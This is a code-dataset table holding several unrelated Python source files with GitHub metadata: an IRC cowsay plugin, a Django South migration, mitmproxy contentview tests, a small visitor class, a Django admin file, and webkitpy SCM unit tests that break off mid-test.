text stringlengths 4 1.02M | meta dict |
|---|---|
from tehbot.plugins import *
from cowsay import cowsay
class CowSayPlugin(StandardPlugin):
def __init__(self):
StandardPlugin.__init__(self)
self.parser.add_argument("msg", nargs=1)
def execute(self, connection, event, extra, dbconn):
if not self.privileged(connection, event):
return self.request_priv(extra)
try:
pargs = self.parser.parse_args(extra["args"])
if self.parser.help_requested:
return self.parser.format_help().strip()
msg = pargs.msg[0]
except Exception as e:
return u"Error: %s" % str(e)
return cowsay(msg)
register_plugin("cowsay", CowSayPlugin())
| {
"content_hash": "02ebea0de68b15bc0d6cb6774d8570d2",
"timestamp": "",
"source": "github",
"line_count": 23,
"max_line_length": 57,
"avg_line_length": 30.52173913043478,
"alnum_prop": 0.6054131054131054,
"repo_name": "spaceone/tehbot",
"id": "771bddf0902bdb8520d29c323223fc677e9d9832",
"size": "702",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "tehbot/plugins/cowsay/__init__.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "126037"
}
],
"symlink_target": ""
} |
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Deleting field 'Program.room'
db.delete_column(u'pyconkr_program', 'room_id')
# Adding M2M table for field rooms on 'Program'
m2m_table_name = db.shorten_name(u'pyconkr_program_rooms')
db.create_table(m2m_table_name, (
('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)),
('program', models.ForeignKey(orm[u'pyconkr.program'], null=False)),
('room', models.ForeignKey(orm[u'pyconkr.room'], null=False))
))
db.create_unique(m2m_table_name, ['program_id', 'room_id'])
def backwards(self, orm):
# User chose to not deal with backwards NULL issues for 'Program.room'
raise RuntimeError("Cannot reverse this migration. 'Program.room' and its values cannot be restored.")
# The following code is provided here to aid in writing a correct migration # Adding field 'Program.room'
db.add_column(u'pyconkr_program', 'room',
self.gf('django.db.models.fields.related.ForeignKey')(to=orm['pyconkr.Room']),
keep_default=False)
# Removing M2M table for field rooms on 'Program'
db.delete_table(db.shorten_name(u'pyconkr_program_rooms'))
models = {
u'pyconkr.announcement': {
'Meta': {'object_name': 'Announcement'},
'created': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}),
'desc': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'modified': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}),
'title': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'})
},
u'pyconkr.jobfair': {
'Meta': {'object_name': 'Jobfair'},
'desc': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'location': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),
'sponsor': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['pyconkr.Sponsor']", 'null': 'True'})
},
u'pyconkr.program': {
'Meta': {'object_name': 'Program'},
'category': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['pyconkr.ProgramCategory']", 'null': 'True'}),
'date': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['pyconkr.ProgramDate']"}),
'desc': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),
'rooms': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['pyconkr.Room']", 'symmetrical': 'False'}),
'slide_url': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'speakers': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['pyconkr.Speaker']", 'symmetrical': 'False', 'blank': 'True'}),
'times': ('django.db.models.fields.related.ManyToManyField', [], {'to': u"orm['pyconkr.ProgramTime']", 'symmetrical': 'False'})
},
u'pyconkr.programcategory': {
'Meta': {'object_name': 'ProgramCategory'},
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'})
},
u'pyconkr.programdate': {
'Meta': {'object_name': 'ProgramDate'},
'day': ('django.db.models.fields.DateField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})
},
u'pyconkr.programtime': {
'Meta': {'object_name': 'ProgramTime'},
'begin': ('django.db.models.fields.TimeField', [], {}),
'end': ('django.db.models.fields.TimeField', [], {}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'pyconkr.room': {
'Meta': {'object_name': 'Room'},
'desc': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'location': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})
},
u'pyconkr.speaker': {
'Meta': {'object_name': 'Speaker'},
'desc': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),
'info': ('jsonfield.fields.JSONField', [], {'default': '{}'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '100'})
},
u'pyconkr.sponsor': {
'Meta': {'object_name': 'Sponsor'},
'desc': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'image': ('django.db.models.fields.files.ImageField', [], {'max_length': '100', 'null': 'True', 'blank': 'True'}),
'level': ('django.db.models.fields.related.ForeignKey', [], {'to': u"orm['pyconkr.SponsorLevel']", 'null': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),
'slug': ('django.db.models.fields.SlugField', [], {'max_length': '100'}),
'url': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'})
},
u'pyconkr.sponsorlevel': {
'Meta': {'object_name': 'SponsorLevel'},
'desc': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}),
u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),
'name': ('django.db.models.fields.CharField', [], {'max_length': '100', 'db_index': 'True'}),
'order': ('django.db.models.fields.IntegerField', [], {'default': '1'})
}
}
complete_apps = ['pyconkr'] | {
"content_hash": "dc4d6fbd03bc3f13cdb4d64dbd14f9af",
"timestamp": "",
"source": "github",
"line_count": 118,
"max_line_length": 156,
"avg_line_length": 62.28813559322034,
"alnum_prop": 0.5469387755102041,
"repo_name": "pythonkr/pyconkr-2014",
"id": "47050e68cf228a0de400981dd91a36f887f2024b",
"size": "7374",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "pyconkr/migrations/0008_auto__del_field_program_room.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "8288"
},
{
"name": "Python",
"bytes": "145265"
}
],
"symlink_target": ""
} |
from unittest import mock
import pytest
from mitmproxy import contentviews
from mitmproxy.exceptions import ContentViewException
from mitmproxy.net.http import Headers
from mitmproxy.test import tutils
class TestContentView(contentviews.View):
name = "test"
prompt = ("t", "test")
content_types = ["test/123"]
def test_add_remove():
tcv = TestContentView()
contentviews.add(tcv)
# repeated addition causes exception
with pytest.raises(ContentViewException):
contentviews.add(tcv)
# Same shortcut doesn't work either.
with pytest.raises(ContentViewException):
contentviews.add(TestContentView())
contentviews.remove(tcv)
def test_get_content_view():
desc, lines, err = contentviews.get_content_view(
contentviews.get("Raw"),
b"[1, 2, 3]",
)
assert "Raw" in desc
assert list(lines)
assert not err
desc, lines, err = contentviews.get_content_view(
contentviews.get("Auto"),
b"[1, 2, 3]",
headers=Headers(content_type="application/json")
)
assert desc == "JSON"
desc, lines, err = contentviews.get_content_view(
contentviews.get("JSON"),
b"[1, 2",
)
assert "Couldn't parse" in desc
with mock.patch("mitmproxy.contentviews.auto.ViewAuto.__call__") as view_auto:
view_auto.side_effect = ValueError
desc, lines, err = contentviews.get_content_view(
contentviews.get("Auto"),
b"[1, 2",
)
assert err
assert "Couldn't parse" in desc
def test_get_message_content_view():
r = tutils.treq()
desc, lines, err = contentviews.get_message_content_view("raw", r)
assert desc == "Raw"
desc, lines, err = contentviews.get_message_content_view("unknown", r)
assert desc == "Raw"
r.encode("gzip")
desc, lines, err = contentviews.get_message_content_view("raw", r)
assert desc == "[decoded gzip] Raw"
r.headers["content-encoding"] = "deflate"
desc, lines, err = contentviews.get_message_content_view("raw", r)
assert desc == "[cannot decode] Raw"
r.content = None
desc, lines, err = contentviews.get_message_content_view("raw", r)
assert list(lines) == [[("error", "content missing")]]
def test_get_by_shortcut():
assert contentviews.get_by_shortcut("s")
| {
"content_hash": "3b2437c95470ea1ed621d68b37a6213d",
"timestamp": "",
"source": "github",
"line_count": 86,
"max_line_length": 82,
"avg_line_length": 27.186046511627907,
"alnum_prop": 0.6445680068434559,
"repo_name": "xaxa89/mitmproxy",
"id": "95d83af913425388bc994b36a941cc5f7b96bd64",
"size": "2338",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "test/mitmproxy/contentviews/test_api.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "17714"
},
{
"name": "HTML",
"bytes": "4270"
},
{
"name": "JavaScript",
"bytes": "150625"
},
{
"name": "PowerShell",
"bytes": "494"
},
{
"name": "Python",
"bytes": "1535155"
},
{
"name": "Shell",
"bytes": "3660"
}
],
"symlink_target": ""
} |
from . import Visitor
class ExperimentsVisitor(Visitor):
def __init__(self, site = None, scenario = None):
self.result = []
self.site = site
self.scenario = scenario
def visit_Experiment(self, exp):
if self.site is not None:
if exp.get_site() != self.site:
return
if self.scenario is not None:
if exp.get_scenario() != self.scenario:
return
self.result.append(exp)
def get_result(self):
return self.result
| {
"content_hash": "6176d03ec03666270c7a37b36ce54c3a",
"timestamp": "",
"source": "github",
"line_count": 23,
"max_line_length": 50,
"avg_line_length": 19.47826086956522,
"alnum_prop": 0.6651785714285714,
"repo_name": "stlemme/python-dokuwiki-export",
"id": "b688234010197d8eceed4715c311f473e2361927",
"size": "449",
"binary": false,
"copies": "1",
"ref": "refs/heads/stable",
"path": "visitor/experiments.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "440147"
},
{
"name": "Shell",
"bytes": "247"
}
],
"symlink_target": ""
} |
from django.contrib import admin
from .models import UserProfile, Question, Answer
# Register your models here.
admin.site.register(UserProfile)
admin.site.register(Question)
admin.site.register(Answer)
| {
"content_hash": "2227129c1f8392de7dba6fbe46ea9dd9",
"timestamp": "",
"source": "github",
"line_count": 6,
"max_line_length": 49,
"avg_line_length": 33.833333333333336,
"alnum_prop": 0.8226600985221675,
"repo_name": "InternsAtMBM/YetAnotherQnA",
"id": "60aec754baf0f67514231bb2479cb304ea33c28f",
"size": "203",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "YAQnA/forum/admin.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "270"
},
{
"name": "HTML",
"bytes": "15390"
},
{
"name": "JavaScript",
"bytes": "4630"
},
{
"name": "Python",
"bytes": "17999"
}
],
"symlink_target": ""
} |
import atexit
import os
import shutil
import unittest
from webkitpy.common.system.executive import Executive, ScriptError
from webkitpy.common.system.executive_mock import MockExecutive
from webkitpy.common.system.filesystem import FileSystem
from webkitpy.common.system.filesystem_mock import MockFileSystem
from webkitpy.common.checkout.scm.detection import detect_scm_system
from webkitpy.common.checkout.scm.git import Git, AmbiguousCommitError
from webkitpy.common.checkout.scm.scm import SCM
from webkitpy.common.checkout.scm.svn import SVN
# We cache the mock SVN repo so that we don't create it again for each call to an SVNTest or GitTest test_ method.
# We store it in a global variable so that we can delete this cached repo on exit(3).
original_cwd = None
cached_svn_repo_path = None
@atexit.register
def delete_cached_svn_repo_at_exit():
if cached_svn_repo_path:
os.chdir(original_cwd)
shutil.rmtree(cached_svn_repo_path)
class SCMTestBase(unittest.TestCase):
def __init__(self, *args, **kwargs):
super(SCMTestBase, self).__init__(*args, **kwargs)
self.scm = None
self.executive = None
self.fs = None
self.original_cwd = None
def setUp(self):
self.executive = Executive()
self.fs = FileSystem()
self.original_cwd = self.fs.getcwd()
def tearDown(self):
self._chdir(self.original_cwd)
def _join(self, *comps):
return self.fs.join(*comps)
def _chdir(self, path):
self.fs.chdir(path)
def _mkdir(self, path):
assert not self.fs.exists(path)
self.fs.maybe_make_directory(path)
def _mkdtemp(self, **kwargs):
return str(self.fs.mkdtemp(**kwargs))
def _remove(self, path):
self.fs.remove(path)
def _rmtree(self, path):
self.fs.rmtree(path)
def _run(self, *args, **kwargs):
return self.executive.run_command(*args, **kwargs)
def _run_silent(self, args, **kwargs):
self.executive.run_and_throw_if_fail(args, quiet=True, **kwargs)
def _write_text_file(self, path, contents):
self.fs.write_text_file(path, contents)
def _write_binary_file(self, path, contents):
self.fs.write_binary_file(path, contents)
def _make_diff(self, command, *args):
# We use this wrapper to disable output decoding. diffs should be treated as
# binary files since they may include text files of multiple differnet encodings.
return self._run([command, "diff"] + list(args), decode_output=False)
def _svn_diff(self, *args):
return self._make_diff("svn", *args)
def _git_diff(self, *args):
return self._make_diff("git", *args)
def _svn_add(self, path):
self._run(["svn", "add", path])
def _svn_commit(self, message):
self._run(["svn", "commit", "--quiet", "--message", message])
# This is a hot function since it's invoked by unittest before calling each test_ method in SVNTest and
# GitTest. We create a mock SVN repo once and then perform an SVN checkout from a filesystem copy of
# it since it's expensive to create the mock repo.
def _set_up_svn_checkout(self):
global cached_svn_repo_path
global original_cwd
if not cached_svn_repo_path:
cached_svn_repo_path = self._set_up_svn_repo()
original_cwd = self.original_cwd
self.temp_directory = self._mkdtemp(suffix="svn_test")
self.svn_repo_path = self._join(self.temp_directory, "repo")
self.svn_repo_url = "file://%s" % self.svn_repo_path
self.svn_checkout_path = self._join(self.temp_directory, "checkout")
shutil.copytree(cached_svn_repo_path, self.svn_repo_path)
self._run(['svn', 'checkout', '--quiet', self.svn_repo_url + "/trunk", self.svn_checkout_path])
def _set_up_svn_repo(self):
svn_repo_path = self._mkdtemp(suffix="svn_test_repo")
svn_repo_url = "file://%s" % svn_repo_path # Not sure this will work on windows
# git svn complains if we don't pass --pre-1.5-compatible, not sure why:
# Expected FS format '2'; found format '3' at /usr/local/libexec/git-core//git-svn line 1477
self._run(['svnadmin', 'create', '--pre-1.5-compatible', svn_repo_path])
# Create a test svn checkout
svn_checkout_path = self._mkdtemp(suffix="svn_test_checkout")
self._run(['svn', 'checkout', '--quiet', svn_repo_url, svn_checkout_path])
# Create and checkout a trunk dir to match the standard svn configuration to match git-svn's expectations
self._chdir(svn_checkout_path)
self._mkdir('trunk')
self._svn_add('trunk')
# We can add tags and branches as well if we ever need to test those.
self._svn_commit('add trunk')
self._rmtree(svn_checkout_path)
self._set_up_svn_test_commits(svn_repo_url + "/trunk")
return svn_repo_path
def _set_up_svn_test_commits(self, svn_repo_url):
svn_checkout_path = self._mkdtemp(suffix="svn_test_checkout")
self._run(['svn', 'checkout', '--quiet', svn_repo_url, svn_checkout_path])
# Add some test commits
self._chdir(svn_checkout_path)
self._write_text_file("test_file", "test1")
self._svn_add("test_file")
self._svn_commit("initial commit")
self._write_text_file("test_file", "test1test2")
# This used to be the last commit, but doing so broke
# GitTest.test_apply_git_patch which use the inverse diff of the last commit.
# svn-apply fails to remove directories in Git, see:
# https://bugs.webkit.org/show_bug.cgi?id=34871
self._mkdir("test_dir")
# Slash should always be the right path separator since we use cygwin on Windows.
test_file3_path = "test_dir/test_file3"
self._write_text_file(test_file3_path, "third file")
self._svn_add("test_dir")
self._svn_commit("second commit")
self._write_text_file("test_file", "test1test2test3\n")
self._write_text_file("test_file2", "second file")
self._svn_add("test_file2")
self._svn_commit("third commit")
# This 4th commit is used to make sure that our patch file handling
# code correctly treats patches as binary and does not attempt to
# decode them assuming they're utf-8.
self._write_binary_file("test_file", u"latin1 test: \u00A0\n".encode("latin-1"))
self._write_binary_file("test_file2", u"utf-8 test: \u00A0\n".encode("utf-8"))
self._svn_commit("fourth commit")
# svn does not seem to update after commit as I would expect.
self._run(['svn', 'update'])
self._rmtree(svn_checkout_path)
def _tear_down_svn_checkout(self):
self._rmtree(self.temp_directory)
def _shared_test_add_recursively(self):
self._mkdir("added_dir")
self._write_text_file("added_dir/added_file", "new stuff")
self.scm.add("added_dir/added_file")
self.assertIn("added_dir/added_file", self.scm._added_files())
def _shared_test_delete_recursively(self):
self._mkdir("added_dir")
self._write_text_file("added_dir/added_file", "new stuff")
self.scm.add("added_dir/added_file")
self.assertIn("added_dir/added_file", self.scm._added_files())
self.scm.delete("added_dir/added_file")
self.assertNotIn("added_dir", self.scm._added_files())
def _shared_test_delete_recursively_or_not(self):
self._mkdir("added_dir")
self._write_text_file("added_dir/added_file", "new stuff")
self._write_text_file("added_dir/another_added_file", "more new stuff")
self.scm.add("added_dir/added_file")
self.scm.add("added_dir/another_added_file")
self.assertIn("added_dir/added_file", self.scm._added_files())
self.assertIn("added_dir/another_added_file", self.scm._added_files())
self.scm.delete("added_dir/added_file")
self.assertIn("added_dir/another_added_file", self.scm._added_files())
def _shared_test_exists(self, scm, commit_function):
self._chdir(scm.checkout_root)
self.assertFalse(scm.exists('foo.txt'))
self._write_text_file('foo.txt', 'some stuff')
self.assertFalse(scm.exists('foo.txt'))
scm.add('foo.txt')
commit_function('adding foo')
self.assertTrue(scm.exists('foo.txt'))
scm.delete('foo.txt')
commit_function('deleting foo')
self.assertFalse(scm.exists('foo.txt'))
def _shared_test_move(self):
self._write_text_file('added_file', 'new stuff')
self.scm.add('added_file')
self.scm.move('added_file', 'moved_file')
self.assertIn('moved_file', self.scm._added_files())
def _shared_test_move_recursive(self):
self._mkdir("added_dir")
self._write_text_file('added_dir/added_file', 'new stuff')
self._write_text_file('added_dir/another_added_file', 'more new stuff')
self.scm.add('added_dir')
self.scm.move('added_dir', 'moved_dir')
self.assertIn('moved_dir/added_file', self.scm._added_files())
self.assertIn('moved_dir/another_added_file', self.scm._added_files())
class SVNTest(SCMTestBase):
def setUp(self):
super(SVNTest, self).setUp()
self._set_up_svn_checkout()
self._chdir(self.svn_checkout_path)
self.scm = detect_scm_system(self.svn_checkout_path)
self.scm.svn_server_realm = None
def tearDown(self):
super(SVNTest, self).tearDown()
self._tear_down_svn_checkout()
def test_detect_scm_system_relative_url(self):
scm = detect_scm_system(".")
# I wanted to assert that we got the right path, but there was some
# crazy magic with temp folder names that I couldn't figure out.
self.assertTrue(scm.checkout_root)
def test_detection(self):
self.assertEqual(self.scm.display_name(), "svn")
self.assertEqual(self.scm.supports_local_commits(), False)
def test_add_recursively(self):
self._shared_test_add_recursively()
def test_delete(self):
self._chdir(self.svn_checkout_path)
self.scm.delete("test_file")
self.assertIn("test_file", self.scm._deleted_files())
def test_delete_list(self):
self._chdir(self.svn_checkout_path)
self.scm.delete_list(["test_file", "test_file2"])
self.assertIn("test_file", self.scm._deleted_files())
self.assertIn("test_file2", self.scm._deleted_files())
def test_delete_recursively(self):
self._shared_test_delete_recursively()
def test_delete_recursively_or_not(self):
self._shared_test_delete_recursively_or_not()
def test_move(self):
self._shared_test_move()
def test_move_recursive(self):
self._shared_test_move_recursive()
class GitTest(SCMTestBase):
def setUp(self):
super(GitTest, self).setUp()
self._set_up_git_checkouts()
def tearDown(self):
super(GitTest, self).tearDown()
self._tear_down_git_checkouts()
def _set_up_git_checkouts(self):
"""Sets up fresh git repository with one commit. Then sets up a second git repo that tracks the first one."""
self.untracking_checkout_path = self._mkdtemp(suffix="git_test_checkout2")
self._run(['git', 'init', self.untracking_checkout_path])
self._chdir(self.untracking_checkout_path)
self._write_text_file('foo_file', 'foo')
self._run(['git', 'add', 'foo_file'])
self._run(['git', 'commit', '-am', 'dummy commit'])
self.untracking_scm = detect_scm_system(self.untracking_checkout_path)
self.tracking_git_checkout_path = self._mkdtemp(suffix="git_test_checkout")
self._run(['git', 'clone', '--quiet', self.untracking_checkout_path, self.tracking_git_checkout_path])
self._chdir(self.tracking_git_checkout_path)
self.tracking_scm = detect_scm_system(self.tracking_git_checkout_path)
def _tear_down_git_checkouts(self):
self._run(['rm', '-rf', self.tracking_git_checkout_path])
self._run(['rm', '-rf', self.untracking_checkout_path])
def test_remote_branch_ref(self):
self.assertEqual(self.tracking_scm._remote_branch_ref(), 'refs/remotes/origin/master')
self._chdir(self.untracking_checkout_path)
self.assertRaises(ScriptError, self.untracking_scm._remote_branch_ref)
def test_multiple_remotes(self):
self._run(['git', 'config', '--add', 'svn-remote.svn.fetch', 'trunk:remote1'])
self._run(['git', 'config', '--add', 'svn-remote.svn.fetch', 'trunk:remote2'])
self.assertEqual(self.tracking_scm._remote_branch_ref(), 'remote1')
def test_create_patch(self):
self._write_text_file('test_file_commit1', 'contents')
self._run(['git', 'add', 'test_file_commit1'])
scm = self.tracking_scm
scm.commit_locally_with_message('message')
patch = scm.create_patch()
self.assertNotRegexpMatches(patch, r'Subversion Revision:')
def test_exists(self):
scm = self.untracking_scm
self._shared_test_exists(scm, scm.commit_locally_with_message)
def test_rename_files(self):
scm = self.tracking_scm
scm.move('foo_file', 'bar_file')
scm.commit_locally_with_message('message')
class GitSVNTest(SCMTestBase):
def setUp(self):
super(GitSVNTest, self).setUp()
self._set_up_svn_checkout()
self._set_up_gitsvn_checkout()
self.scm = detect_scm_system(self.git_checkout_path)
self.scm.svn_server_realm = None
def tearDown(self):
super(GitSVNTest, self).tearDown()
self._tear_down_svn_checkout()
self._tear_down_gitsvn_checkout()
def _set_up_gitsvn_checkout(self):
self.git_checkout_path = self._mkdtemp(suffix="git_test_checkout")
# --quiet doesn't make git svn silent
self._run_silent(['git', 'svn', 'clone', '-T', 'trunk', self.svn_repo_url, self.git_checkout_path])
self._chdir(self.git_checkout_path)
self.git_v2 = self._run(['git', '--version']).startswith('git version 2')
if self.git_v2:
# The semantics of 'git svn clone -T' changed in v2 (apparently), so the branch names are different.
# This works around it, for compatibility w/ v1.
self._run_silent(['git', 'branch', 'trunk', 'origin/trunk'])
def _tear_down_gitsvn_checkout(self):
self._rmtree(self.git_checkout_path)
def test_detection(self):
self.assertEqual(self.scm.display_name(), "git")
self.assertEqual(self.scm.supports_local_commits(), True)
def test_read_git_config(self):
key = 'test.git-config'
value = 'git-config value'
self._run(['git', 'config', key, value])
self.assertEqual(self.scm.read_git_config(key), value)
def test_local_commits(self):
test_file = self._join(self.git_checkout_path, 'test_file')
self._write_text_file(test_file, 'foo')
self._run(['git', 'commit', '-a', '-m', 'local commit'])
self.assertEqual(len(self.scm._local_commits()), 1)
def test_discard_local_commits(self):
test_file = self._join(self.git_checkout_path, 'test_file')
self._write_text_file(test_file, 'foo')
self._run(['git', 'commit', '-a', '-m', 'local commit'])
self.assertEqual(len(self.scm._local_commits()), 1)
self.scm._discard_local_commits()
self.assertEqual(len(self.scm._local_commits()), 0)
def test_delete_branch(self):
new_branch = 'foo'
self._run(['git', 'checkout', '-b', new_branch])
self.assertEqual(self._run(['git', 'symbolic-ref', 'HEAD']).strip(), 'refs/heads/' + new_branch)
self._run(['git', 'checkout', '-b', 'bar'])
self.scm.delete_branch(new_branch)
self.assertNotRegexpMatches(self._run(['git', 'branch']), r'foo')
def test_rebase_in_progress(self):
svn_test_file = self._join(self.svn_checkout_path, 'test_file')
self._write_text_file(svn_test_file, "svn_checkout")
self._run(['svn', 'commit', '--message', 'commit to conflict with git commit'], cwd=self.svn_checkout_path)
git_test_file = self._join(self.git_checkout_path, 'test_file')
self._write_text_file(git_test_file, "git_checkout")
self._run(['git', 'commit', '-a', '-m', 'commit to be thrown away by rebase abort'])
# Should fail due to a conflict leaving us mid-rebase.
# we use self._run_slient because --quiet doesn't actually make git svn silent.
self.assertRaises(ScriptError, self._run_silent, ['git', 'svn', '--quiet', 'rebase'])
self.assertTrue(self.scm._rebase_in_progress())
# Make sure our cleanup works.
self.scm._discard_working_directory_changes()
self.assertFalse(self.scm._rebase_in_progress())
# Make sure cleanup doesn't throw when no rebase is in progress.
self.scm._discard_working_directory_changes()
def _local_commit(self, filename, contents, message):
self._write_text_file(filename, contents)
self._run(['git', 'add', filename])
self.scm.commit_locally_with_message(message)
def _one_local_commit(self):
self._local_commit('test_file_commit1', 'more test content', 'another test commit')
def _one_local_commit_plus_working_copy_changes(self):
self._one_local_commit()
self._write_text_file('test_file_commit2', 'still more test content')
self._run(['git', 'add', 'test_file_commit2'])
def _second_local_commit(self):
self._local_commit('test_file_commit2', 'still more test content', 'yet another test commit')
def _two_local_commits(self):
self._one_local_commit()
self._second_local_commit()
def _three_local_commits(self):
self._local_commit('test_file_commit0', 'more test content', 'another test commit')
self._two_local_commits()
def test_locally_commit_all_working_copy_changes(self):
self._local_commit('test_file', 'test content', 'test commit')
self._write_text_file('test_file', 'changed test content')
self.assertTrue(self.scm.has_working_directory_changes())
self.scm.commit_locally_with_message('all working copy changes')
self.assertFalse(self.scm.has_working_directory_changes())
def test_locally_commit_no_working_copy_changes(self):
self._local_commit('test_file', 'test content', 'test commit')
self._write_text_file('test_file', 'changed test content')
self.assertTrue(self.scm.has_working_directory_changes())
self.assertRaises(ScriptError, self.scm.commit_locally_with_message, 'no working copy changes', False)
def _test_upstream_branch(self):
self._run(['git', 'checkout', '-t', '-b', 'my-branch'])
self._run(['git', 'checkout', '-t', '-b', 'my-second-branch'])
self.assertEqual(self.scm._upstream_branch(), 'my-branch')
def test_remote_branch_ref(self):
remote_branch_ref = self.scm._remote_branch_ref()
if self.git_v2:
self.assertEqual(remote_branch_ref, 'refs/remotes/origin/trunk')
else:
self.assertEqual(remote_branch_ref, 'refs/remotes/trunk')
def test_create_patch_local_plus_working_copy(self):
self._one_local_commit_plus_working_copy_changes()
patch = self.scm.create_patch()
self.assertRegexpMatches(patch, r'test_file_commit1')
self.assertRegexpMatches(patch, r'test_file_commit2')
def test_create_patch(self):
self._one_local_commit_plus_working_copy_changes()
patch = self.scm.create_patch()
self.assertRegexpMatches(patch, r'test_file_commit2')
self.assertRegexpMatches(patch, r'test_file_commit1')
self.assertRegexpMatches(patch, r'Subversion Revision: 5')
def test_create_patch_after_merge(self):
self._run(['git', 'checkout', '-b', 'dummy-branch', 'trunk~3'])
self._one_local_commit()
self._run(['git', 'merge', 'trunk'])
patch = self.scm.create_patch()
self.assertRegexpMatches(patch, r'test_file_commit1')
self.assertRegexpMatches(patch, r'Subversion Revision: 5')
def test_create_patch_with_changed_files(self):
self._one_local_commit_plus_working_copy_changes()
patch = self.scm.create_patch(changed_files=['test_file_commit2'])
self.assertRegexpMatches(patch, r'test_file_commit2')
def test_create_patch_with_rm_and_changed_files(self):
self._one_local_commit_plus_working_copy_changes()
self._remove('test_file_commit1')
patch = self.scm.create_patch()
patch_with_changed_files = self.scm.create_patch(changed_files=['test_file_commit1', 'test_file_commit2'])
self.assertEqual(patch, patch_with_changed_files)
def test_create_patch_git_commit(self):
self._two_local_commits()
patch = self.scm.create_patch(git_commit="HEAD^")
self.assertRegexpMatches(patch, r'test_file_commit1')
self.assertNotRegexpMatches(patch, r'test_file_commit2')
def test_create_patch_git_commit_range(self):
self._three_local_commits()
patch = self.scm.create_patch(git_commit="HEAD~2..HEAD")
self.assertNotRegexpMatches(patch, r'test_file_commit0')
self.assertRegexpMatches(patch, r'test_file_commit2')
self.assertRegexpMatches(patch, r'test_file_commit1')
def test_create_patch_working_copy_only(self):
self._one_local_commit_plus_working_copy_changes()
patch = self.scm.create_patch(git_commit="HEAD....")
self.assertNotRegexpMatches(patch, r'test_file_commit1')
self.assertRegexpMatches(patch, r'test_file_commit2')
def test_create_patch_multiple_local_commits(self):
self._two_local_commits()
patch = self.scm.create_patch()
self.assertRegexpMatches(patch, r'test_file_commit2')
self.assertRegexpMatches(patch, r'test_file_commit1')
def test_create_patch_not_synced(self):
self._run(['git', 'checkout', '-b', 'my-branch', 'trunk~3'])
self._two_local_commits()
patch = self.scm.create_patch()
self.assertNotRegexpMatches(patch, r'test_file2')
self.assertRegexpMatches(patch, r'test_file_commit2')
self.assertRegexpMatches(patch, r'test_file_commit1')
def test_create_binary_patch(self):
# Create a git binary patch and check the contents.
test_file_name = 'binary_file'
test_file_path = self.fs.join(self.git_checkout_path, test_file_name)
file_contents = ''.join(map(chr, range(256)))
self._write_binary_file(test_file_path, file_contents)
self._run(['git', 'add', test_file_name])
patch = self.scm.create_patch()
self.assertRegexpMatches(patch, r'\nliteral 0\n')
self.assertRegexpMatches(patch, r'\nliteral 256\n')
# Check if we can create a patch from a local commit.
self._write_binary_file(test_file_path, file_contents)
self._run(['git', 'add', test_file_name])
self._run(['git', 'commit', '-m', 'binary diff'])
patch_from_local_commit = self.scm.create_patch('HEAD')
self.assertRegexpMatches(patch_from_local_commit, r'\nliteral 0\n')
self.assertRegexpMatches(patch_from_local_commit, r'\nliteral 256\n')
def test_changed_files_local_plus_working_copy(self):
self._one_local_commit_plus_working_copy_changes()
files = self.scm.changed_files()
self.assertIn('test_file_commit1', files)
self.assertIn('test_file_commit2', files)
# working copy should *not* be in the list.
